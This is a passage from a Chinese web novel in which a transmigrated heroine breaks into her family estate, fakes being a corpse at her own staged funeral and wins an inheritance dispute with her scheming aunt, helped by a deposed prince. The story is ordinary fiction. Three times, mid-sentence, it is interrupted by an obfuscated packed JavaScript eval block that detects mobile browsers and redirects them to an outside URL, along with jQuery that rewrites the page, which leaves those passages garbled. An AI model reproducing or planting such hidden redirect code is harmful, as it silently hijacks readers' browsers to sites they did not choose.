回来这么久,她才第一次来到宋府。 宋云熹远远隔着一条街仔细观察。 原主的记忆模糊不清,很多事情都犹如雾里观花,看不真切。 直到此刻,她才彻底将宋府与脑海中的记忆重合。 大门两侧的门檐悬挂着几盏蒙着白布的灯笼,门环、铜首等缠满了素麻,透过敞开的门扉朝里望去,院内挂满了白布,偶尔几个素绸结成的花球从屋檐垂落。 门口人头攒动,路过的百姓都好奇地看上两眼。 宋云熹将方才取下的兜帽重新戴上,沿着墙根绕着府转了两圈,离开了。 街对面拐角处的酒楼二层,一袭青衣的男子倚在窗台上,手里拎着一壶酒自斟自饮,默默看着楼下戴着一顶浅色兜帽的姑娘慢慢沿着宋府墙根走了一圈,又一圈,时不时停下仔细观察。 他也像个傻子似的一直盯着看,她走了多久就看了多久。 直到那道纤细的身影消失在路口尽头,他才回过神,意识到自己的行为,没忍住轻笑出声。 “殿下?”候在一旁的玄金上前一步。 他摆摆手,又喝了一口酒。 淳厚的酒液滑入喉咙,回味甘甜,唇齿留香。 回到茶楼,宋云熹把李掌柜和冬冬叫了来。 “这是你们二人的工钱,奖金我也放进去了。”宋云熹掏出两个钱袋分别放在他们面前。 “这段时间辛苦了。” 冬冬接过袋子一看,猛地抬起头,眼底映着激动,“多谢东家。” 宋云熹前世的经验告诉她,想要员工踏踏实实跟着你干很简单,只要钱给够。 所以她给员工们的工钱和奖金毫不吝啬。 李掌柜倒是一副波澜不惊的样子,只是脸上的笑容更真诚了。 给他们发完工资和奖金,宋云熹又掏出两个袋子,笑意盈盈: “你们今晚,要不要跟着我再赚个加班费?” * 是夜,万籁俱寂。 几个道黑色人影靠着夜色的遮掩,偷偷摸到宋府的东墙外。 “东家,咱们这是来干嘛?”李掌柜压低声音,有些不解。 宋云熹找着下午定好的点,随口答道:“咱们来偷东西。” 李掌柜大惊:“东家,偷盗可是犯法的呀!” “而且这不是您家吗?为何要偷?” 宋云熹找到自己做好的标记,这是她找到的外院围墙中最矮的地方。 她听到李掌柜的话,选择性回答了一个:“想不到李掌柜还是个遵纪守法的人。” 说罢,不等他回应,助跑一段,双腿在墙上借力一蹬,动作利落地翻到了院内。 李掌柜看得目瞪口呆,扭头盯着从刚才起就一言不发的冬冬。 冬冬看了他一眼,依旧一言不发,学着方才宋云熹的动作也翻到了院内。 李掌柜见状,只得哭丧着脸跟上。 他胖胖的身体不甚灵活,压根做不了这种高难度的动作,在墙上蹬了半天,最后还是靠宋云熹和冬冬二人各力才把他拉上去。 李掌柜被扶下墙站稳,捏起衣袖擦了擦额头上的虚汗。 宋云熹率先往前走,冬冬紧随其后。 李掌柜缓过一口气,小跑着跟上,边走边问:“东家,咱们到底要来……” 他想了想,换了个词,“咱们来找什么?” 宋云熹头也不回:“碧螺春。” 李掌柜的嘴巴再也合不上了。 所以东家的“有”是这个意思吗? 但他转念又一想,这可不就是有吗?宋老爷夫妻遇难去世,宋云熹是他们唯一的孩子,这宋府的哪一样东西最后不是她的。 只是不知她为何回自己家还要偷偷摸-摸。 他突然想到这几天听到的流言,再结合这满院子的白幡,好像明白了什么。 东家这么做一定有她的道理。 思维混乱间,宋云熹已经熟门熟路地绕过巡逻的侍卫,带着他们来到一处偏院。 她转身仔细交代:“你们在此处候着,发现什么动静立即通知我,我去去就回。” 李掌柜还没说话,冬冬已经抢先一步答应下来:“好的,东家。” 李掌柜看着冬冬自从领到奖金就对她唯命是从的样子,恨铁不成钢。 等宋云熹一进去,转身就一巴掌拍在他背上:“瞧你这点出息,一点小钱就把你收买了。” 那一巴掌看似很重,实则没什么力道。冬冬眉头都没皱一下,只是道:“既然收了东家的工钱,自然要听从老板的命令,尽力替她分忧。” 李掌柜被噎了一下,气冲冲走到一旁去了。 没过一会儿又慢慢摸了回来。 别说,这院子里到处挂白布,阴森森的样子还真有点恐怖。 * 宋云熹进了偏院,径直走到一扇门前,门上挂了把大锁。 她取下挽着头发的钗子,在锁孔处捣鼓了几下,门锁“咔哒”一声,解开了。 这时候她就不得不感谢前世为了还债而到处打零工的自己,若不是这样,她也不会学到这么多东西。 门推开,一股灰尘扑面而来,宋云熹被呛的咳嗽,用手在眼前扇了扇。 眼前是一间朴素无华的屋子,整间屋子物品少的可怜,只有一张床、一张桌子和靠在墙角的书架。 她走到书架前,伸手在上面摸索了一阵,对准一个地方按了下去。 书架朝两边移开,露出藏在后面的入口。 这里,就是宋家的地库了。 她掏出准备好的火折子点燃,沿着台阶走下去,最终来到了一个巨大的地下空间。 整个空间密密麻麻摆满了这些年宋家的所有积累。 银票和银子一箱箱堆在角落,珍稀的字画古玩更是不在少数,还有一些她认不出来地宝物摆满了几个架子。 她一行行看过去,寻找着自己想要的东西,在最后一个架子的角落找到了自己的目标—— 碧螺春。 宋云熹抱着盒子走出地道,刚巧碰到冬冬步履匆匆的走进来。 “东家,有人来了。” 宋云熹神色一凛,率先走出屋子。 李管家已经提前一步躲在院内的假山后,看他们出来,探出个头朝他们挥手。 二人快步走过去,三人拥挤地蹲在不大的假山背后。 几乎是刚蹲下,外头就传来了说话声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819642|190990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “大虎,这么晚了还在巡逻,今夜不用去守灵堂吗?” “有什么好守的,你又不是不知道,”另一个人压低了声音,“那棺材里压根儿就没人。” 这话一出,宋云熹旁边那两人齐刷刷地把视线投到她身上。 宋云熹撇开了头,假装自己是个瞎子聋子。 外面的交谈还在继续。 “要我说,大小姐尸骨未寒,这二夫人就急着办丧礼,这简直是司马昭之心,路人皆知。” “说话注意点,难保这里不会隔墙有耳,主子的事岂是我等能够妄议的。” 他话音未落,旁边院子里突然传来一丝响动。 二人皆一惊,大喝出声。 “谁在那?!” 无人回应,两人对视一眼,同时向院内走来。 假山后,李掌柜抬起刚刚不小心踢到石子的脚,抬起头,一脸惊恐,嘴巴大张。 宋云熹对着他摇了摇头,李掌柜赶忙用手捂住口鼻,众人屏住呼吸。 脚步声朝这边传来。 一下一下,越来越近。 她似乎都能听到那两人鞋底摩-擦地面发出得沙沙声。 宋云熹浑身紧绷,双手捏拳,已经做好了随时开冲的准备。 “喵~” 就在这千钧一发之际,墙上突然传出几声猫叫,接着草丛边窸窸窣窣传出一些声音,朝远处跑去。 脚步停在假山前。 “奇怪,府里怎么会有猫?” “可能是哪里跑进来的野猫,夫人最不喜欢这些了,快赶出去就是了。” “虚惊一场。” 脚步声离开,几人齐齐松了口气。 李掌柜浑身上下湿透了,直接一屁-股瘫坐在了地板上,摆摆手:“东家,你这加班费可真不好赚。” 歇了一会儿,冬冬开口问道:“接下来咱们该回去了吧?” 宋云熹摇了摇头。 “不,我们去灵堂。” * 几人悄悄溜到灵堂。 就像那两人说的,灵堂内空无一人,寂然无声,只有白烛燃烧时烛心偶尔炸开发出的噼啪响。 宋云熹走到摆放在灵堂正中间的棺材前站定,饶有心致地观察上面写的小字。 “东,东家,你看那儿。”李掌柜小心翼翼地拍了拍她。 宋云熹沿着他手指的方向看去,桌子上摆着一块牌位,上面写着她的名字。 “哟,准备的还挺齐全。”她笑了一声。 李掌柜:“这到底是咋回事儿啊,您不是还好好地活着吗,为何宋府会给您办丧礼?” 就连一直装深沉的冬冬都忍不住看过来。 宋云熹手指点点下巴,想出了个比较合适的说法:“世子之争,向来如此。” 李掌柜&冬冬:“?” “行了,别废话,你们来帮我把这棺材打开。” 二人听话地走过去,一左一右将双手搭在盖子上。 一般只有出殡的时候才会真的封棺,所以两人稍微使了点力气就将棺材盖推开了。 “行了,你们把这个拿上回去吧。” 宋云熹将自己手上一直抱着的盒子丢到冬冬怀里。 他手忙脚乱地接住。 宋云熹一脚跨进开了盖的棺材:“对了,走之前别忘了帮我把棺材板盖一下。” 顿了顿又补了句:“别盖死了,留点缝。” 李掌柜&冬冬:“??!!” 宋云熙才不管他们什么反应,躺进为自己准备的棺材里,安详地闭上了眼睛。 5. 头七 第二日一早,宋云熹是被一阵交谈声吵醒的。 两个人站在她的棺材旁说话。 “娘,你说咱们这样能行吗?”一个公鸭嗓子的男声问。 另一个有些尖利的女声轻哼:“有什么不行的,那帮土匪都说她被烧的渣都不剩,今日只要这棺材一入土,剩下的东西,还不都是咱们的。” 她原以为遇上火灾身亡不过是婶婶随便找的说辞,却不想是那帮匪徒告诉她的,想来是他们怕事情搞砸了惹麻烦,所以干脆将她的出逃编造成了火灾身亡。 看来这就是她亲爱的婶婶赵琴和那废物堂弟宋乾了。 她那倒霉弟弟人如其名,资质平庸,毫无建树,却偏偏眼高于顶,不甘平凡,这些年以做生意为借口不知给别人送了多少银子。 家里铺子和原主父母外出行商赚到的银子差不多一半被他娘拿来给他擦屁-股了。 一想起这些她就心痛不已。 那都是她的钱啊! 今日无论如何都要把自己的钱从他们手里夺回来。 她悄悄抬起上身,露出两只眼睛,趁其他人都在转身背对着她的时候,透过棺材间的缝隙观察外面。 灵堂前的院子里围满了人,看衣着大部分应该都是附近的百姓,但也有不少衣着华贵的人携妻前来,一个胖胖的中年男子正在与他们攀谈,那应该就是她的二叔宋文博了。 而赵琴则身着一条设计颇为精巧的素白长裙,在一旁与几位夫人交谈,不知说起什么话题几人都笑起来,从面上看一派和乐融融,俨然已经忘了这是丧礼。 眼瞅着时间差不多了,宋文博和赵琴向几人暂辞,重新回到灵堂的棺材旁。 “人都到齐了,那咱们开始吧。” 宋文博掩住还未收敛的笑,换上一个沉重的表情。 “很高兴各位能够在百忙之中给我宋某一个面子,来参加我侄女宋云熹的丧礼。” “今日站在这里,是我这一生中最艰难,也是最心痛的时刻。这段时间,我们宋家的噩耗一个接一个的传来,先是我的大哥和大嫂在海上遇难,再是我的侄女被匪徒掳走,丧身火海。一夕之间痛失三位亲人,让我这心犹如刀绞般疼痛。” “这段时间以来,我常常夜不能寐,整夜整夜地想起和他们在一起的时候,回忆那些稀松平常,如今却再也无法重来的时光。” “我曾在大哥大嫂的坟前发誓,会好好保护他们的女儿,可却未曾想到,还没过多久,就成了白发人送黑发人,是我对不起他们。” 说到这,他哽咽着换了口气,似乎悲伤过度,身体还晃了一下。 旁边的宋乾伸手扶了一下,面露忧色。 “爹,您注意身体。” 宋文博拍拍儿子的手,才又接着说道:“愿他们一家三口能在地下团聚,来世重新结缘。 ” 赵琴接过话:“大哥大嫂常年在外奔波,阿云从小便在我身边长大,阿云乖巧懂事,我早已视如己出,出了这些事情,我们都很心痛。” “如果可以,我甚至愿意用一切换她回来。” “可惜没有如果,我们非常思念她,也很舍不得,却也明白离别的这一刻总要到来,如今最重要的是要让逝者得到安息,今日会在此封棺,让她入土为安。” 赵琴说着说着,发现宾客们的脸色突然变得很难看,一个个都惊恐地指向她身后。她不明所以地回头,就看到本该被火烧的渣都不剩的人正坐在棺材里,笑吟吟地看着她。 她吓得一个倒仰,一屁-股摔坐在地上。 宋云熹早在她说“逝者得到安息”时就已经听不下去,一把推开棺材板自己坐了起来。 此时手脚麻利地从棺材里爬出来,慢悠悠的,一步一步朝她走来,俯下身看着她惊恐的双眼。 “亲爱的婶婶,很高兴你这么想念我。” “啊!”赵琴被吓得不轻,此时顾不得什么形象,手脚并用地往后退,色厉内荏: “你,你是什么东西,我警告你不要过来!” “你不是死了吗,怎么可能会出现在这,他们明明把你……” 她突然意识到什么,紧急闭上了嘴。 “把我怎么了?” 宋云熹跟着她往前走了几步,直到把她逼到棺材旁退无可退,才蹲下身亲昵地抱了抱她,张嘴在耳边低语:“我亲爱的婶婶,你敢说出之前对我做了什么吗?” 感受着她身上的温度,赵琴被吓懵的脑子缓过来,再怎么迟钝都明白,她这是被人耍了,宋云熹压根就没死! 她压低声音,咬牙切齿:“你想怎么样?” 宋云熹松开手站起身,面向宋文博和宋乾,欣赏够了他们脸上青黄交加的表情,才遗憾地摇摇头。 “我不想怎么样啊。” “我也同样放不下你们,所以这不是回来看你来了吗?” “婶婶方才还说愿意用一切换我回来,如今我回来了你们又不乐意,实在太令人难过了。” “你们说对吗?” 最后一句话是对宾客们说的。 而宾客们,早已经被这一连串发展给惊呆了。 “不,你不可能是阿云。” 赵琴此时已经爬起来迅速回到了宋家父子俩身旁,顿时仿佛找到了靠山,腰杆挺直,脸上满是倨傲之色,说话的语气又恢复了平常的模样。 “众人皆知阿云被山匪掳走葬身在了火海,你又为何会出现在这里,还在,在棺材里睡了一-夜!” “再者我的侄女温柔贤惠,最是知书达理,怎么可能做出如此出格之事,简直是荒谬!” 她明白,宋云熹如今回来无外乎是为了那笔遗产,她必须咬死了不承认,哪怕样貌一样,她也可以说成是妖鬼易容,否则事情败露,她不仅一分钱都得不到,还会背上一个残害侄女的罪名,锒铛入狱。 对,只要咬死了,她也没有任何证据证明她就是宋云熹,难不成还能把她爹妈挖出来滴血认亲吗? 她赵琴筹谋许久,决不允许败在这里! 她眼神逐渐狠厉,微偏过头,眼神示意一直安静呆在旁边的道士上前。 白发白须,一身道袍的老者缓步上前,右手臂弯里的拂尘换到左手,右手食指中指一并,指着宋云熹大喝: “我乃蜀山的道士,尔等是何处来的鬼怪在这冒充逝者装神弄鬼,还不快快现出原形!” 看她没反应,又从兜里掏了把东西,劈头盖脸地往她身上丢。 宋云熹被这一连串操作搞得愣了下神,没来得及躲开,任由那些小东西砸到她身上又滚落,稀稀拉拉地撒了一地,低头一瞧,是被朱砂染成赤色的糯米。 “呦,居然连道士都请来了,这是有多怕我变成厉鬼回来找你们啊。” 弯腰抓了满满一把糯米起身,将手摊开在所有人面前,笑容满是讥诮: “如何,这样能证明我是‘人’了么?”她特意咬重了“人”这个字。 “俗话说得好,不做亏心事,半夜不怕鬼敲门。” “你们这么怕,不会是对我做了什么亏心事吧?” 赵琴此番态度,摆明了就是不想承认她的身份,想把她打成妖怪,最好是能把她架在火堆上烧死处理,就算不成,也必须把她赶出去。 她倒是不介意和他们撕破脸皮,毕竟原身父母已经不在了,那剩下的宋家,准确来说,是剩下的宋家人,对她来说,便是累赘。 上岸第一步,先斩意中人。 对她来说,可能就是暴富第一步,先断来时路。 毕竟她的目标,可不止宋家这点东西。 她以后的路,可不能被这些除了血缘以外毫无关系的蛀虫给妨碍了。 那老者见一计不成,又从口袋里掏出一张黄纸,用朱笔在上面写了一堆鬼画符,以顺雷不及掩耳之势贴在了宋云熹额头上,又从随身携带的布袋里拿出一个小瓶子,一边用手指沾上瓶子内的液体往她身上撒,一边念念有词。 宋云熹:“……” 她面无表情地揭下了那张显得她愚蠢无比的符纸。 看他还想继续掏出东西,宋云熹耐心彻底告罄,似笑非笑。 “老头,别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819643|190990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做无谓的尝试了,都说了我是人不是鬼。” “与其整这些乱七八糟的,你不如拿把刀给我捅上一下可能还死的快点。” 她看了一眼周围看热闹的人,要不是想让这些封建愚昧的人们彻底信服,她才懒得陪他们玩这种无聊幼稚的游戏。 那道士被嘲讽得脸色难看,抬起下巴“哼”了一声就头也不回地离开了宋家,连赵琴在身后叫他都没搭理。 赵琴气急败坏地瞪了宋云熹一眼。 宋乾终于逮到机会说话:“既然你没死为何不回来,害得爹娘以为你出事了,这段时间是茶不思饭不想。让长辈为你如此忧心,可真是不孝。” 宋文博连忙制止他:“阿乾,别这么说,你姐姐没事就好。” 说完又一脸担忧地看着她: “阿云,既然你没事,为何不早点回家,害得我们以为你出事了。” 宋云熹看着两人你一言我一语的就给她扣上了不孝的帽子,无语得想笑,张口就是编。 “我其实已经死过一回,都进了阎王殿,阎王爷查了卷宗,看我这辈子行善积德,又是被奸人所害,所以想让我投个好胎。” “我生前死于火灾,长时间接触高温身体缺水口渴,所以我就倒了杯茶来喝。” “我也不知道怎么回事,一杯茶水下肚后,整个人瞬间精神一振,头脑一片清明,感觉身轻如燕,睁开眼就回来了。” 围观的人群顿时哗然。 “居然有这么神奇的茶,能让人起死回生?” “说不定是真的呢,那可是阎王殿,普通人哪有人进过阎王殿?” “能活死人-肉白骨的茶水,让常人喝了岂不是能延年益寿?” 得到了想要的效果,宋云熹笑眯眯地,顺势推广了一波茶楼。 “各位同乡们感兴趣的,可以关注翠茗轩后续推出的新品,我在阎王爷那儿把做法都学会了。” 人群中顿时爆发出剧烈的掌声,还有不少人认出她就是翠茗轩的东家。 宋家父子三人脸色一个赛一个的难看。 宋云熹好整以暇的看着他们。 “既然你们承认我回来了,那正好,咱们来谈一下我父亲的遗产怎么样。” 宋乾脸色瞬间有些难看:“什么遗产?” “就是你身上穿的,嘴里吃的,手上用的,外出玩的这些。”宋云熹嗤笑一声,边说边点出他身上一处处奢华的装饰物,“怎么用的时候不问,让你还就开始装糊涂了呢?” 宋乾脸色涨的通红,指着她的手指气的发-抖:“你放屁!这些都是我自己赚回来的!” “是么,那你可真厉害。” 宋云熹轻轻回了一句,不置可否,宋乾气的脸红脖子粗。 还是赵琴开口打断了他们。 她脸色同样不好看,咬牙切齿:“想继承家产可以啊,你有凭证吗?” “什么凭证。” “宋家家主玉佩。” 这几个字一出,轮到宋云熹愣了。 她几乎是瞬间就想起自己昨天当的那块玉佩。 不会吧…… 仔细一想,那玉佩的材质做工皆为上乘,确实不像凡品,而且是他父亲临走前留下的。 宋云熹有些懊恼,这段时间发生的事情一件接一件,让她没时间仔细思考,从而犯了这么大的错误,是她的失策。 赵琴看着她的脸色,好像明白了什么,表情渐渐由阴转晴,语气高傲。 “宋家规定,想要继承家产的人必须要有上一任家主留下的家主玉佩。” “你有吗?” 宋云熹沉默,只是静静地看着她——头上的弹幕。 那消失了整整一天的弹幕。 【主播别怕,救兵马上就要来了!】 赵琴好像终于扳回了一局的公鸡,整个下巴高高扬起,正打算再挤兑她几句,却被人打断。 “谁说我们没有?” 一道熟悉的清朗声音从人群外传来。 一瞬间,宋云熹好像又闻到了绵密如稠的琥珀香气。 6. 坏习惯 人群从中间让开,露出了声音的主人。 来人一袭鸦青色长袍,衣摆用暗金线绣了连云纹,手上拿着一块玉佩缓步走来,行走间衣袍翻飞,云纹连成一片栩栩如生。 宋云熹看着他,面露惊讶。 赵燕脸色难看:“你又是何人?” “我?”凌翌珩看了宋云熹一眼,笑的意味深长,“阿云的熟人。” 宋云熹看着他手上玉佩中间由并蒂莲缠成的“宋”字,没有反驳。 凌翌珩将手上的玉佩举起来转了一圈,特意让所有人都看清玉佩的样子,才用修长白皙的手指捏着浅青色的吊绳,任凭玉佩悬在她面前晃悠。 宋云熹迟迟没有伸手。 凌翌珩挑了挑眉,又把玉佩往前递了递,无声地催促。 宋云熙这才伸出手,把玉佩握在掌心。 凌翌珩这才满意一笑。 “你的玉佩昨儿个落在了我屋里。” “下次再如此大意我可不帮你送来了。” 听起来似埋怨,但字里行间都透露出些许亲昵。 尽管明白他在睁眼说瞎话,从匪窝他把自己迷晕后二人就在没见过,更别说把传家玉佩落在他屋子里头这种亲密的举动了,简直是故意引人遐想。 果然,凌翌珩此话一出,众人的表情瞬间微妙起来。 但是宋云熹此刻偏偏无从辩驳,否则她该如何解释他手上玉佩的来源,难不成说那是假的吗? “你这块玉佩是假的!” 宋云熹:“?” 她呼吸一窒,一瞬间甚至怀疑是不是自己不小心把心里话说出来了。 但她很快发现不是。 赵琴又重复了一遍:“你这块玉佩是假的!” 宋云熹:“你凭什么这么说?” “自然是因为……”赵琴语气稍顿,从怀中取出第二块一模一样的玉佩展开在众人眼前,“真的在我手上!” 所有人都没料到这个反转。 包括宋文博两父子。 宋文博一把抢过她手里的玉佩,仔细观察,“你这块玉佩是哪里来的?” 赵琴看了宋云熹一眼,扬起下巴,“自然是大哥这次临走前给我留下的。” 宋云熹冷笑:“是么,这么巧。” “我的玉佩也是父亲临走前留下的。” 宋云熹迎着赵琴的目光,谁也不肯退让。 “既如此,那便请出认识的人来分辨一下,哪块是真的吧。” 凌翌珩说完,似乎想起应该询问当事人的意见,微微侧身凑近宋云熹:“如何?” 宋云熹略一思考,爽快点头:“如此甚好。” 看着他俩一唱一和就把这件事决定了,丝毫没有要询问自己的意思,赵琴顿觉被人无视,可他们的安排没有任何问题,她想故意挑刺都找不到借口。 “叫就叫,谁怕谁。”赵琴哼了一声,抢先叫府中的管家去请族中的长老前来。 吃瓜群众此时已经看入迷了,本来想走的人都停下了脚步,不少人甚至掏出了瓜子,边等边嗑。 吃的多了自然觉得口干舌燥,这时有人主动奉上沏好的茶水。 店小二和另外一个店员捧着茶壶游走在人群中,为他们倒上一文钱一碗的茶水。 宋云熹眼角余光撇了眼在人群中游走的店小二,不动声色地收回了目光。 虽然计划出了点意外,但宣传和赚钱这部分目的倒是成功了。 计划通。 弹幕不少人注意到了。 【我靠,商业奇才啊这是。】 【完了,怎么感觉成为皇商这个任务对主播来说毫无难度。】 赵琴回到宋家父子旁坐下,气得牙痒痒,恨不得找个什么东西咬上一口发泄一下,方能缓和她内心的躁郁之气。 本来以为大哥这次也同往日一般把玉佩带走了。他死后玉佩不知下落,这时她拿出一块一模一样的玉佩说是大哥临走前以防万一留下的,谁都不会去怀疑这块玉佩的真实性。 就算有族中老人发现端倪,在继承人都没了的情况下,他们也没办法阻止。 可谁知道宋云熹这个继承人居然平安无事的回来了,还带回了真正的玉佩。 他们两父女真是存心和她过不去! 她这么多年来勤勤恳恳、任劳任怨将宋府上下打点妥当,没有功劳也有苦劳,绝不能让那臭丫头把好处全占去。 就算是撕,她也要从她身上撕下一块肉。 还好她为了以防万一,早就提前将族中的所有长老都打点了一遍。 希望他们能管好自己的嘴巴。赵琴眼神阴翳地想。 宋云熹看着赵琴脸上阴晴不定的神色,心里直犯嘀咕。 原主父亲留下的玉佩不可能是假的,但以赵琴的性格也绝不可能无的放矢,难不成她真的还留有什么后手? 吃瓜群众们也闲不住,开始讨论到底谁手里的玉佩是真的,谁才能获得这场遗产之争的胜利。 “你在担心?” 淡淡的琥珀甜香随着吐息从他身上传来,这次的香气真实无比,不再是她臆想出的。 一个男的搞这么香干嘛。 宋云熹在心里默默吐槽。 睨了他一眼,往旁边挪了挪,离他远了些,“你为何会出现在此?” 凌翌珩也不在意她疏远的动作,笑眯眯地往她的方向跨了一步,瞬间缩短了二人之间的距离,甚至比之前还要近。 “当然是因为你在这。” “如何,姑娘这两日可有想起我?” 宋云熹这次不再远离,只是冷冷地盯着他,连他哪来的玉佩都没问。 无非就是他和那个当铺老板是朋友,她去当玉佩的时候被看到了。 更甚者……当铺就是他的。 这人是太子,虽然已经被废,但她可不会觉得一个国家培养了二十多年的接班人会如他表面所表现出的这般单纯无害。 此人心思深不可测,她看不懂他的目的。 若只是单纯看上宋家这块肥羊想分一杯羹,那倒好说,若是别的…… 瞥一眼弹幕,话题已经歪到宋家的库房里到底有多少好东西上面了。 弹幕老师指望不上,只能静观其变。 凌翌珩在宋云熹审视的目光下依旧面不改色,笑眯眯地看着她。 宋云熹“哼”一声,移开了视线。 她可还没忘记他上回把她药倒,独自一人丢在树林里的事。 等了好半天,宋管家才带着两位老者姗姗来迟。 “三叔。”赵琴起身迎上前,叫了身着白衣的老者一声,又叫了他旁边一身黑衣的老者:“四叔。” “三叔公,四叔公。”宋云熹依葫芦画瓢跟着叫,旁边的凌翌珩冲他们点点头。 两位老者意味深长地扫了他一眼,点头回应,白衣老者惊诧得看着宋云熹:“阿云?你不是……” “出了点意外,我现在回来了,劳三叔公挂心,是晚辈的不是。”宋云熹礼貌地回应。 “回来就好,回来就好。”白衣老者笑眯眯。 黑衣老者懒懒地掀起眼皮:“什么事这么急叫我们老头子来。” “三叔、四叔,今日请二位前来,是想让二位分辨一下,这两块玉佩孰真孰假。” 赵琴举起手里的玉佩,宋云熹举起自己的玉佩。 凌翌珩适时开口。 “二位都是族里的老人,想必这对二位来说不是什么难事。” “这……” 两位老者对视一眼,似乎都从对方的眼里明白了什么,神色瞬间严肃起来。 一人接过一块玉佩仔细研究,时不时交流两句。 约莫过了一炷香,四叔公朝三叔公点点头,三叔公将两块玉佩物归原主。 “两块都是假的。” “什么?”宋云熹和赵琴异口同声。 “怎么可能?”宋云熹拿过玉佩翻来覆去地看,但她也没见过真正的玉佩,看不出个所以然来。 赵琴有些意外,但下一秒她就笑了起来。 她那块玉佩是假的她自己清楚,只是没想到宋云熹那块也是假的。 她冷笑:“差点让你拿假玉佩唬了过去。” 宋云熹毫不客气的回敬:“你的不也是假的。” 两位老者被妥善得送回去,赵琴扶正歪了的簪子,笑的得意。 “既然咱们的玉佩都是假的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819644|190990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那就来谈谈财产分配的问题吧。” 宋云熹毫不客气:“行,我八你二。” 她知道想要全部拿走不现实,从高价开始叫,才能让她觉得有讨价还价的余地。 “宋云熹,你别太过分!” 果然,赵琴听到这个分配再也维持不住脸上的笑容,瞬间炸了。 “凭什么!” “这么多年了,这个府里上上下下、宋家铺子都是我在打理,你不过是投了个好胎,占了个当家人独女的名头,这些年你为这个家做过什么?凭什么什么好处都是你占了,那我这么多年为这个家的付出算什么!” “所以,我才没有追究你私自拿了那么多钱去给你儿子填窟窿不是吗?” “我才没有追究你将我卖给山匪的事,不是吗?” “我没有追究你想致我于死地的事,不是吗?” 宋云熹一句接一句,赵琴的脸色瞬间苍白一片。 “你以为我什么都不知道吗?”宋云熹冷笑着俯身凑近她耳边,轻声细语地说出威胁的话语:“你也不想我把你做的这些事都爆出来吧?” “七三,如果你不想鱼死网破,最后竹篮打水一场空的话。撕破脸对我来说也不过就是家丑,但对你来说就不一定了。” “婶婶这么聪明的人,一定能明白我在说什么的,对吗?” 赵琴还想说什么,注意到她的眼神,意识到她不只是说说而已,只能白着脸点点头。 她此刻终于发现,宋云熹这次回来后,好像不再是从前那个任人揉搓的软柿子了。 * 宋云熹和凌翌珩一同离开宋府。 “多谢。” 他们并肩走在路上,宋云熹轻声道。 凌翌珩看着她,有些欲言又止。 “我知道你想说什么。”宋云熹理了理袖子,“我这块玉佩是真的,对吗?” 凌翌珩有些讶异,“你知道?那为什么……” “若是假的,又如何能让高金当铺的东家专程来宋府一趟。”宋云熹没有直接点明他前太子的身份,而是选了更讨巧的说法,唇角轻勾:“我说的对么?” 接着回答他的问题:“两位长老早已被买通,自然不会帮着我说话,更何况,现在的结果就是我想要的。” “做事不能做太绝,兔子逼急了都会咬人,更何况是人呢。” 凌翌珩心下一惊。 这姑娘……似乎和别人口中缠绵病榻的深闺小姐完全不同。 心思敏锐,年纪轻轻做事却如此成熟。 看来,以后有机会可以好好合作一番。 凌翌珩换了个话题:“算下来,这是我救宋姑娘的第二次了。 宋云熹纠正:“上一次那是合作。” 凌翌珩有些失笑:“那好,那这次宋小姐打算如何报答我呢?” “你待如何?” 他认真想了想,好像想到了个顶好的主意,眼睛都亮了。 宋云熹瞅他那样子,已经做好了他敢提什么离谱要求,就马上甩袖走人的心理准备。 谁知他却只是看着她,笑弯了眼睛:“宋姑娘不如……请我吃个饭如何?” “就吃个饭?” “自然。” 宋云熹跟着凌翌珩来到了附近的酒楼。 在二楼的包厢内坐下,她才发现这个位置能清楚地看到宋府。 她意味深长地看了凌翌珩一眼,什么都没说。 见她盯着自己手中的酒杯,凌翌珩晃了晃杯子:“要尝尝吗?” “好啊。” 席间他们天南地北地聊着,她才发现,原来他们在很多事情上的看法完全一致。 这让她对凌翌珩的看法又改变了一点。 心情大好,她就多喝了两杯,她的酒量是在饭桌上练出来的,千杯不醉。可她忘了现在不是以前,这具身体的主人怕是这辈子都没碰过酒。 酒足饭饱准备离开的时候,她站起身,突然一阵酒气涌上头,话都没来得及说,直接倒下。 “怎么又在陌生男子怀里倒下了。” 凌翌珩及时接住她,故作苦恼,眼底却是掩饰不住的笑意,“宋云熹,你这可是坏习惯。” 7. 师父 “殿下。”凌翌珩推门而出,候在一旁的玄金立刻跟上。 “嗯。”凌翌珩淡淡应了一声。 “您吩咐的事情已经传达,宋家那两位长老不会乱说话。” “做得好。” 玄金睨了下他的脸色:“您为什么要让他们谎称宋小姐那块玉佩是假的?” “只是一个……”凌翌珩想了想,“小小的考验罢了。” 而考验的结果,他非常满意。 * 宋云熹醒来后房间内只剩下她一个人。 宿醉的头疼压的她起不了身,按着额角缓了好一会儿才感觉好些。 